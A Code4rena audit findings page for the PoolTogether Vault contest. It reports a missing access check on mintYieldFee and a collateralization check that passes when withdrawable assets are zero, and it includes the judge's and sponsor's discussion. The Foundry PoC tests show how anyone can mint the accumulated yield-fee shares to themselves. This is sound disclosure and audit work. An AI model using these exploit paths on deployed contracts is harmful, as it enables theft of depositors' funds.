Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 18/111
Findings: 2
Award: $1,646.23
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: Udsen
Also found by: 0xMirce, 0xPsuedoPandit, 0xStalin, 0xbepresent, Aymen0909, Bobface, Co0nan, GREY-HAWK-REACH, Jeiwan, John, KupiaSec, LuchoLeonel1, Nyx, Praise, RedTiger, alexweb3, bin2chen, btk, dacian, dirk_y, josephdara, keccak123, ktg, mahdirostami, markus_ether, minhtrng, ni8mare, peanuts, ptsanev, ravikiranweb3, rvierdiiev, seeques, serial-coder, shaka, teawaterwire, wangxx2026, zzzitron
2.2492 USDC - $2.25
Anyone can claim yield fee.
PoolTogether's Vault allows users to call liquidate to provide prize tokens and receive Vault shares in exchange. Each time liquidate
is called, a fee is calculated and accumulated on _yieldFeeTotalSupply
variable. The Vault
contract also has a function called mintYieldFee
, which is described as Mint Vault shares to the yield fee _recipient
, implemented as follows:
function mintYieldFee(uint256 _shares, address _recipient) external { _requireVaultCollateralized(); if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply); _yieldFeeTotalSupply -= _shares; _mint(_recipient, _shares); emit MintYieldFee(msg.sender, _recipient, _shares); }
However,as you can see, this function doesn't require any authorization, and anyone can call it and claim the accumulated fee to their shares..
Below is a POC for the above example, for ease of testing, let's place this test case
in file vault/test/unit/Vault/Liquidate.t.sol
under contract VaultLiquidateTest
,
then test it using command:
forge test --match-path test/unit/Vault/Liquidate.t.sol --match-test testAnyOneCanClaimYieldFee -vvvv
In the
function testAnyOneCanClaimYieldFee() external { _setLiquidationPair(); vault.setYieldFeePercentage(200000000); underlyingAsset.mint(address(this), 1000e18); _sponsor(underlyingAsset, vault, 1000e18, address(this)); // Mint some yield underlyingAsset.mint(address(yieldVault), 10e18); // Mint some prize tokens for alice prizeToken.mint(alice, 1000e18); // Alice liquidate (deposit prize tokens in exchange for vault shares) uint256 aliceShares = 1e18; // this is also the desired share alice want to receive vm.prank(address(liquidationPair)); vault.liquidate( alice, address(prizeToken), 1e18, // this is tokens in address(vault), aliceShares // amountOut ); uint256 yieldFeeTotalSupply = vault.yieldFeeTotalSupply(); // Anyone can call mint yield fee and convert // the vault's accumulated fee to his/her shares address anyOne = address(0x1111); vault.mintYieldFee(yieldFeeTotalSupply, anyOne); assertEq(vault.balanceOf(anyOne), yieldFeeTotalSupply); }
Manual review
I recommend providing appropriate access control for this function.
Access Control
#0 - c4-judge
2023-07-14T22:21:46Z
Picodes marked the issue as duplicate of #396
#1 - c4-judge
2023-08-05T22:04:07Z
Picodes marked the issue as satisfactory
🌟 Selected for report: ktg
1643.9812 USDC - $1,643.98
The function _currentExchangeRate
and _isVaultCollateralized
of Vault
are implemented as follows:
function _currentExchangeRate() internal view returns (uint256) { uint256 _totalSupplyAmount = _totalSupply(); uint256 _totalSupplyToAssets = _convertToAssets( _totalSupplyAmount, _lastRecordedExchangeRate, Math.Rounding.Down ); uint256 _withdrawableAssets = _yieldVault.maxWithdraw(address(this)); if (_withdrawableAssets > _totalSupplyToAssets) { _withdrawableAssets = _withdrawableAssets - (_withdrawableAssets - _totalSupplyToAssets); } if (_totalSupplyAmount != 0 && _withdrawableAssets != 0) { return _withdrawableAssets.mulDiv(_assetUnit, _totalSupplyAmount, Math.Rounding.Down); } return _assetUnit; } function _isVaultCollateralized() internal view returns (bool) { return _currentExchangeRate() >= _assetUnit; }
The function Calculate exchange rate between the amount of assets withdrawable from the YieldVault and the amount of shares minted by this Vault.
However, if _withdrawableAssets
is 0, then the function returns _assetUnit
(which means 1-1 ratio). This means that even when the vault
has no withdrawable assets from _yieldVault
, it's still considered collateralized
.
To illustrate the oddity of this special case, consider when _withdrawableAssets
= 1 and _totalSupplyAmount
> 0; in this scenario, _currentExchangeRate
returns 0 and the vault is considered under-collateralized (since 1 < _assetUnit
). However, if _withdrawableAssets
= 0, the vault is considered collateralized.
This case has profound impact since a lot of vault logic is based on the vault's collateralized status.
Below is a POC for the above example, for ease of testing, let's place these 2 test cases
in file vault/test/unit/Vault/Deposit.t.sol
under contract VaultDepositTest
,
then test them using commands:
forge test --match-path test/unit/Vault/Deposit.t.sol --match-test testOneWithdrawableAmount -vvvv
forge test --match-path test/unit/Vault/Deposit.t.sol --match-test testZeroWithdrawableAmount -vvvv
testOneWithdrawableAmount
is to demonstrate when _withdrawableAssets
= 1 and the vault is considered not collateralized, testZeroWithdrawableAmount
is to demonstrate when _withdrawableAssets
= 0 and the vault is considered collateralized.
function testZeroWithdrawableAmount() public { vm.startPrank(alice); uint256 _amount = 1000e18; underlyingAsset.mint(alice, _amount); underlyingAsset.approve(address(vault), type(uint256).max); vault.deposit(_amount, alice); // Now make the withdrawable asset = 0 // Burn the balance of yieldVault uint256 yieldVaultAsset = underlyingAsset.balanceOf(address(yieldVault)); underlyingAsset.burn(address(yieldVault), yieldVaultAsset); assertEq(underlyingAsset.balanceOf(address(yieldVault)), 0); // Although the vault has no asset withdrawable in yieldVault // the exchange rate is 10**18 = assetUnit and the vault is "collateralized" assertEq(yieldVault.maxWithdraw(address(vault)), 0); assertEq(vault.exchangeRate(), 10**18); assertEq(vault.isVaultCollateralized(), true); } function testOneWithdrawableAmount() public { vm.startPrank(alice); uint256 _amount = 1000e18; underlyingAsset.mint(alice, _amount); underlyingAsset.approve(address(vault), type(uint256).max); vault.deposit(_amount, alice); // Now make the withdrawable asset = 0 // Burn the balance of yieldVault uint256 yieldVaultAsset = underlyingAsset.balanceOf(address(yieldVault)); underlyingAsset.burn(address(yieldVault), yieldVaultAsset -1); assertEq(underlyingAsset.balanceOf(address(yieldVault)), 1); // vault only has 1 asset token withdrawable, and the exchangeRate is 0 // the vault is not collateralized assertEq(yieldVault.maxWithdraw(address(vault)), 1); assertEq(vault.exchangeRate(), 0); assertEq(vault.isVaultCollateralized(), false); }
Manual review
Since _withdrawableAssets
is the dividend, there seems to be no harm in removing the check if _withdrawableAssets
= 0. Therefore, I recommend removing it from the condition.
Invalid Validation
#0 - c4-sponsor
2023-07-19T20:06:50Z
asselstine marked the issue as sponsor confirmed
#1 - c4-judge
2023-08-06T20:18:15Z
Picodes changed the severity to 2 (Med Risk)
#2 - Picodes
2023-08-06T20:20:40Z
There is definitely a bug here, but I don't see why it should be high severity. "This case has a profound impact since a lot of vault logic is based on the vault's collateralized status" is a bit light to pass the burden or proof. At first sight, as they are no funds in the vault anymore there is no loss of funds. Then there is the case where assets are readded to the vault for some reason, but this would be a Medium severity scenario considering it's very unlikely and not described by the report.
#3 - c4-judge
2023-08-08T10:25:14Z
Picodes marked the issue as satisfactory
#4 - ktg9
2023-08-10T02:50:09Z
Hi @Picodes, thank you for your response!
Sorry I didn't make it clearer. As you can see in the report, the affected function is _currentExchangeRate
, so not only the Vault incorrectly specified as collateralized
, the currentExchangeRate
also = 1 (assetUnit
). These 2 functions affects many other functions, for example:
mintYieldFee
requires that vault is collateralized, so user can mint yield fee even when it's notliquidate
requires that vault is collateralized, so user can liquidate asset even when vault's withdrawable asset = 0deposit
function, first deposit
will calculate maxDeposit
to limit the input tokens:function maxDeposit(address) public view virtual override returns (uint256) { return _isVaultCollateralized() ? type(uint96).max : 0; }
if the Vault is under-collateralized, user can't deposit since maxDeposit
will return 0; however, user can still deposit in this case
exchangeRate
and receives 1, this can lead them to bad decisions.To conclude, I agree that this will not lead to direct loss of funds for the vault, but will greatly impact user, making them send tokens to the vault (through liquidate or deposit) when it's not collateralized and will potentially suffer economically. I think it should be marked as High severity.
#5 - Picodes
2023-08-12T17:40:19Z
@ktg9 I still think that the original reports perfectly fit with the definition of Med severity: "leak value with a hypothetical attack path with stated assumptions, but external requirements". The described scenarios require that we are in a situation with withdrawable assets = 0
and that some users behave incorrectly. Also note that I can't consider scenarios that are not described in the original report.
#6 - PierrickGT
2023-08-16T23:34:51Z
This issue has been fixed and the exchange rate between the Vault and YieldVault is now 1 to 1. We've replaced the exchange rate function by a collateral one, which simplifies the conversions from shares to assets and assets to shares.
If the Vault is collateralized, meaning the amount of withdrawable assets from the YieldVault is greater than the amount of underlying assets supplied to the YieldVault, then users can only withdraw the amount they deposited. Otherwise, any remaining collateral within the YieldVault is available and distributed proportionally among depositors.
#7 - asselstine
2023-08-17T21:54:57Z